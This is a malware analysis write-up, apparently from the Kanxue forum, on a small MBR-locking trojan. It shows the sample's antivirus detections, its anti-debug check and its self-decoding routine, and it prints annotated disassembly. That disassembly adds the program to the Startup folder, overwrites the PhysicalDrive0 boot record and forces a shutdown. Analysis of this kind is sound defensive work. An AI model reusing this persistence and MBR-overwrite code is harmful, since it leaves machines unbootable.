查看原文
其他

一次上当受骗的样本分析经验

LarryS 看雪学苑 2022-07-01
本文为看雪论坛优秀文章
看雪论坛作者ID:LarryS



样本sha1: 21766239b79ece18b15a03f4517f3be6ed9c07ed


 前言


今天工作时遇到一个样本,很小,只有4096字节,拖到虚拟机里运行直接退出了,但是在VT里查可以看到很多报毒。


_________________________________________________________________________________|Bkav | W32.AIDetectVM.malware1||Elastic | malicious (high confidence)||MicroWorld-eScan | Trojan.GenericKD.42989135||ALYac | Trojan.GenericKD.42989135||VIPRE | Trojan.Win32.Generic!BT||Sangfor | Malware||K7AntiVirus | Trojan ( 0056483b1 )||BitDefender | Trojan.GenericKD.42989135||K7GW | Trojan ( 0056483b1 )||Cybereason | malicious.9b79ec||BitDefenderTheta | Gen:NN.ZexaF.34152.auW@ay!9nhc||Cyren | W32/Trojan.ETUW-3889||Symantec | ML.Attribute.HighConfidence||APEX | Malicious||Paloalto | generic.ml||Kaspersky | HEUR:Trojan.Win32.Generic||Alibaba | Trojan:Win32/MBRlock.df6e613f||NANO-Antivirus | Trojan.Win32.KillMBR.hjmtoj||AegisLab | Trojan.Win32.Generic.4!c||Tencent | Win32.Trojan.Generic.Ednp||Ad-Aware | Trojan.GenericKD.42989135||F-Secure | Trojan.TR/Ransom.MBRlock.rcdja||DrWeb | Trojan.KillMBR.24847||Zillya | Trojan.MBRlock.Win32.591||Invincea | heuristic||FireEye | Generic.mg.f1ddcdfec9784f92||Sophos | Troj/KillMBR-V||Jiangmin | Trojan.Generic.erchp||Avira | TR/Ransom.MBRlock.rcdja||Fortinet | W32/Generic.BF!tr.ransom||Antiy-AVL | Trojan/Win32.Wacatac||Arcabit | Trojan.Generic.D28FF64F||ViRobot | Trojan.Win32.Z.Wacatac.4096.Q||Microsoft | Trojan:Win32/Occamy.C50||AhnLab-V3 | Malware/Win32.Generic.C4087080||McAfee | RDN/Ransom||MAX | malware (ai score=83)||VBA32 | Trojan.Occamy||Panda | Trj/GdSda.A||ESET-NOD32 | a variant of Win32/MBRlock.BF||Rising | Trojan.MBRlock!8.751 (CLOUD)||Yandex | Trojan.MBRlock!fGxkbNwgCDw||SentinelOne | DFI - Malicious PE||eGambit | Unsafe.AI_Score_99%||GData | Trojan.GenericKD.42989135||AVG | Win32:TrojanX-gen [Trj]||Avast | Win32:TrojanX-gen [Trj]||CrowdStrike | win/malicious_confidence_80% (W)||Qihoo-360 | Generic/HEUR/QVM20.1.8F85.Malware.Gen|---------------------------------------------------------------------------------

ESET报了a variant of Win32/MBRlock.BF,看来应该是会改MBR的,但是不知道为什么没有执行成功,而且文件这么小,IDA里打开看了一下也没有明显特征。最后出于谨慎在另一台有反反虚拟机功能的win7虚拟机里执行了一下,没想到竟然真的可以改MBR,而且设置了自动关机和开机自动运行。

于是我认为这个样本可以反虚拟机,而且文件那么小,所以很好奇是怎么写的,决定分析一下。



 详细分析


2.1 反调试


程序一开始从0x404000和0x404004获得了两个数字,然后调用了位于0x4020B5的函数。

进入函数0x4020B5。
这个函数首先调用了函数0x402002:
这是一个解码(或者叫编码?)函数,对位于参数1位置,长度为参数2的字节序列进行了异或编码。这次调用对位于0x405000,长度为16字节的序列进行了按位取反的解码,解码后的结果:
所以0x4020B5应该是要检查调试器,继续往下看:
调用了存储在0x401000,即0x40201D位置的函数,这个函数实际上是在调用VirtualProtect函数,设置目标地址为可读可写可执行:
设置了可执行权限之后,程序调用了位于0x405000位置的代码,即检查调试器的代码。
正常来说,由于在用调试器调试,IsDebuggerPresent的返回值应该是1,但是因为我这里使用了插件,所以返回值是0。如果返回值是1,可以手动修改为0。
 
之后会根据返回值判断执行流程,如果检查存在调试器,流程会跳转到程序开始处,相当于进入了一个无限循环:
之后程序调用了存储了0x401004,即0x40203A位置的函数,这个函数也是在调用VirtualProtect函数,只不过修改的权限不同,设置的是可读可写,也就是取消了可执行权限:
最后程序在此对0x405000处16字节的序列进行了按位取反的编码,相当于恢复了之前的数值。
 
最后看一下这个函数的结构:

2.2 小总结


由于这个程序并不是很大,有了上面对几个函数的分析,现在已经可以看一下这个程序的整体流程了:
从上图可以看出,这个程序分成四个部分,第一部分就是我们上面分析的检查调试器的部分,第二部分对位于0x405010,长度为0x4C字节序列进行了按位取反的解码并执行,第三部分对位于0x4050BC,长度为0xFE字节序列进行了按位取反的编码并执行,最后一部分是退出程序。

除了最后一部分之外,其他三部份的流程都是一样的:修改权限→解码→执行→恢复编码→恢复权限。
 
所以接下来要做的,就是对第二、三部分解码后的代码进行分析。

2.3 第二部分代码


以下是调试得到的第二部分解码后的代码:
00405010 60 pushad00405011 6A 04 push 0x400405013 68 00300000 push 0x300000405018 68 00040000 push 0x4000040501D 6A 00 push 0x00040501F FF15 A0304000 call dword ptr ds:[<&KERNEL32.VirtualAlloc>] ; 分配大小为0x400字节的空间00405025 89C6 mov esi,eax00405027 6A 04 push 0x400405029 68 00300000 push 0x30000040502E 68 00040000 push 0x40000405033 6A 00 push 0x000405035 FF15 A0304000 call dword ptr ds:[<&KERNEL32.VirtualAlloc>] ; 再次分配大小为0x400字节的空间0040503B 89C7 mov edi,eax0040503D 85FF test edi,edi ;0040503F 74 79 je short 50fcbf3d.004050BA00405041 85F6 test esi,esi ;00405043 74 75 je short 50fcbf3d.004050BA00405045 68 00020000 push 0x2000040504A 56 push esi ;0040504B 6A 00 push 0x00040504D FF15 98304000 call dword ptr ds:[<&KERNEL32.GetModuleFileNameW>] ; 获得当前程序路径00405053 6A 01 push 0x100405055 6A 07 push 0x700405057 57 push edi ;00405058 6A 00 push 0x00040505A FF15 6C314000 call dword ptr ds:[<&SHELL32.SHGetSpecialFolderPathW>] ; 获得开机启动目录路径00405060 85C0 test eax,eax00405062 74 3A je short 50fcbf3d.0040509E00405064 E8 24000000 call 50fcbf3d.0040508D ; 将本程序复制到开机启动目录00405069 5C pop esp ; 下面是垃圾代码,没什么意义......0040508D 57 push edi ;0040508E FF15 B0304000 call dword ptr ds:[<&KERNEL32.lstrcatW>] ; kernel32.lstrcatW00405094 6A 01 push 0x100405096 57 push edi ;00405097 56 push esi ;00405098 FF15 8C304000 call dword ptr ds:[<&KERNEL32.CopyFileW>] ; kernel32.CopyFileW0040509E 68 00800000 push 0x8000004050A3 6A 00 push 0x0004050A5 56 push esi ;004050A6 FF15 A4304000 call dword ptr ds:[<&KERNEL32.VirtualFree>] ; kernel32.VirtualFree004050AC 68 00800000 push 0x8000004050B1 6A 00 push 0x0004050B3 57 push edi ;004050B4 FF15 A4304000 call dword ptr ds:[<&KERNEL32.VirtualFree>] ; kernel32.VirtualFree004050BA 61 popad004050BB C3 retn

代码很简单,已经进行了必要的注释,可以看到这段代码用于设置开机自启。


2.4 第三部分代码


以下是调试得到的第三部分解码后的代码,其中省略了垃圾代码,这个程序通过这些垃圾代码对分析进行了干扰,如果不省略,call指令会跳转到指令的中间,但是并不复杂。
004050BC 60 pushad004050BD 6A 00 push 0x0004050BF 6A 00 push 0x0004050C1 6A 03 push 0x3004050C3 6A 00 push 0x0004050C5 6A 02 push 0x2004050C7 68 00000040 push 0x40000000004050CC 90 nop004050CD E8 26000000 call 50fcbf3d.004050F8......004050F8 FF15 90304000 call dword ptr ds:[<&KERNEL32.CreateFileW>] ; 打开PhysicalDrive0004050FE 83F8 FF cmp eax,-0x100405101 0F84 B1000000 je 50fcbf3d.004051B800405107 89C6 mov esi,eax00405109 6A 00 push 0x00040510B 54 push esp0040510C FF35 10104000 push dword ptr ds:[0x401010]00405112 FF35 0C104000 push dword ptr ds:[0x40100C] ; 50fcbf3d.004051BA00405118 56 push esi 00405119 68 FF000000 push 0xFF0040511E FF35 10104000 push dword ptr ds:[0x401010]00405124 FF35 0C104000 push dword ptr ds:[0x40100C] 0040512A E8 D3CEFFFF call <50fcbf3d.decode> ; 这里解码获得要写入MBR的数据0040512F FF15 AC304000 call dword ptr ds:[<&KERNEL32.WriteFile>] ; 写入MBR00405135 68 FF000000 push 0xFF0040513A FF35 10104000 push dword ptr ds:[0x401010]00405140 FF35 0C104000 push dword ptr ds:[0x40100C] 00405146 E8 B7CEFFFF call <50fcbf3d.decode> ; 重新编码,恢复解码前数据0040514B 56 push esi 0040514C FF15 88304000 call dword ptr ds:[<&KERNEL32.CloseHandle>] 00405152 6A 00 push 0x000405154 6A 00 push 0x000405156 90 nop00405157 E8 2E000000 call 50fcbf3d.0040518A......0040518A 90 nop0040518B E8 10000000 call 50fcbf3d.004051A0......004051A0 90 nop004051A1 E8 0A000000 call 50fcbf3d.004051B0......004051B0 6A 00 push 0x0004051B2 FF15 70314000 call dword ptr ds:[<&SHELL32.ShellExecuteW>] ; shell32.ShellExecuteW004051B8 61 popad004051B9 C3 retn

首先调用CreateFileW,得到PhysicalDrive0的句柄,即MBR的位置
然后解密获得MBR写入数据,调用WriteFile写入MBR:
最后执行shutdown,关机。 

2.5 MBR分析


先看一下修改MBR之后的开机界面:
写入MBR的数据见附件,这个文件我是通过PE工具里面的Bootice引导扇区管理提取出来的。
 
将文件导入IDA之后发现,这个代码是在是有点简单,一开始是打印字符串,就是上面开机画面中的字符串:
之后直接陷入了无限循环:
打印的字符串也可以看到:
所以这个程序是一个骗人的锁机病毒,到目前为止分析的都很顺利,可是我以为的反虚拟机呢?一开始就是以为有这个功能才决定分析一下这个小程序的,结果发现并没有这个功能,U•ェ•*U~



 被骗的原因


既然发现程序没有反虚拟机的功能,我就想弄清楚为什么在另一台虚拟机上程序没有执行成功,于是在该台虚拟机上调试之。
 
前面的流程都是一样的,一直到达了0x4050F8,程序调用CreateFileW,试图打开PhysicalDrive0,结果失败了。
于是我写了一段代码测试了一下失败原因:
#include <windows.h>#include <stdio.h>int main() { HANDLE hFile = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (INVALID_HANDLE_VALUE == hFile) { printf("Error id: %d\n", GetLastError()); } return 0;}

得到结果:

万万没想到!由于我的虚拟机为了方便测试病毒都是打了快照的,所以确实可能出现打快照的时机出现问题,导致PhysicalDrive0被占用。
 
最后重启了虚拟机,发现程序果然可以正常执行了,(lll¬ω¬)



 总结


分析下来这个样本还是蛮简单的,文件很小,结构规整,使用了简单的反调试、编码以及花指令技巧。值得注意的是,程序在解码的指令执行完毕之后,还会再次对其进行编码,这一行为也提高了分析的难度,很难从内存中提取出有效内容。

最后的最后,我又重新给虚拟机打了一个干净的快照……



 


看雪ID:LarryS

https://bbs.pediy.com/user-home-600394.htm

  *本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区



# 往期推荐



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存